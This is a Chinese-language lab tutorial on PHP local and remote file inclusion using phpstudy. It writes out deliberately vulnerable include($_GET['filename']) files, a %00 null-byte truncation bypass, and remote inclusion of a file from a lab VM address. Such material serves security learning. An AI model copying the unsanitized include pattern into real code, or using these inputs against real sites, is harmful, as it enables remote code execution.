文件本地與遠程包含:
文件包含有本地包含與遠程包含的區別:本地包含只能包含服務器已經有的問題;
遠程包含可以包含一切網絡上的文件。
-
本地包含:
①無限制
感受一下使用phpstudy的文件上傳,開啟phpstudy的apache服務,在網站根目錄新建兩個文件
//1.txt
<?php
phpinfo();
?> //upload.php
<?php
$filename=$_GET['filename'];
include($filename);
?>
?
直接訪問localhost/upload.php?filename=1.txt(upload.php文件內容意為使用GET方式將文件名參數傳入,執行包含指令),訪問如圖(即使是txt文件,但是include會將其按php文件進行解析)
②有限制
如果服務器對上傳的文件有限制,我們需要做繞過處理將文件包含進去。
在網站根目錄下新建兩個文件
//1.txt
<?php
phpinfo();
?>//upload2.php
<?php
$filename=$_GET['filename'];
include($filename.'.html')
?>
如果直接訪問localhost/upload2.php?filename=1.txt會報錯,因為有限制,我們可以使用%00截斷進行繞過。(%00具體解釋參考往篇)訪問localhost/upload2.php?filename=1.txt%00
長度截斷:Windows和Linux對命名長度有限制,前者256個字符(磁盤分區還占一個,用戶只能使用255個),后者4096
-
遠程包含:
phpstudy其他選項菜單-php擴展與設置-參數開關設置中打開allow_url_include(一般情況下為了安全性,這個是關的狀態)
在遠程服務器上上傳文件(或者可以用虛擬機靶機做實驗,在靶機的phpstudy上的根目錄里寫文件)如下:
//1.txt
<?php
phpinfo();
?>
靶機查詢IP地址,假如是192.168.123.23
就可以在主機上直接訪問http://192.168.123.23:88/1.txt
可以看到上傳文件內容。
我們再使用文件包含,即訪問http://localhost/upload.php?filename=http://192.168.123.23:88/1.txt即可執行文件內容。